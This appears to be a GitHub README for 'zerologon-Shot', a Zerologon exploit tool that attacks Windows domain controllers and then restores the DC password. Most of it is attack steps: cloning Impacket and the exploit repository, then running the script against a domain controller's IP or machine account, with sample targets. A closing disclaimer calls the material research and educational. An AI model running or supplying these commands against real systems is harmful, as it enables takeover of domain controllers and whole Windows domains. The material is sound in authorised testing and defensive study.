Zerologon exploit with restore DC password automatically
Only need latest version of Impacket
git clone https://github.com/fortra/impacket
cd imapcket && sudo pip3 install .
git clone https://github.com/XiaoliChan/zerologon-Shot.git
python3 zerologon-Shot.py ip_addr
or
python3 zerologon-Shot.py domain/'dc_name$'@ip_addr
E.g.
python3 zerologon-Shot.py 192.168.85.210
python3 zerologon-Shot.py xiaoli-2008.com/'WIN-D6SJTQG7I0K$'@192.168.85.210
python3 zerologon-Shot.py xiaoli-2008.com/'WIN-D6SJTQG7I0K$'@192.168.85.210 -dc-ip 192.168.85.210
The spirit of this Open Source initiative is to help security researchers, and the community, speed up research and educational activities related to the implementation of networking protocols and stacks.
The information in this repository is for research and educational purposes and not meant to be used in production environments and/or as part of commercial products.
If you desire to use this code or some part of it for your own uses, we recommend applying proper security development life cycle and secure coding practices, as well as generate and track the respective indicators of compromise according to your needs.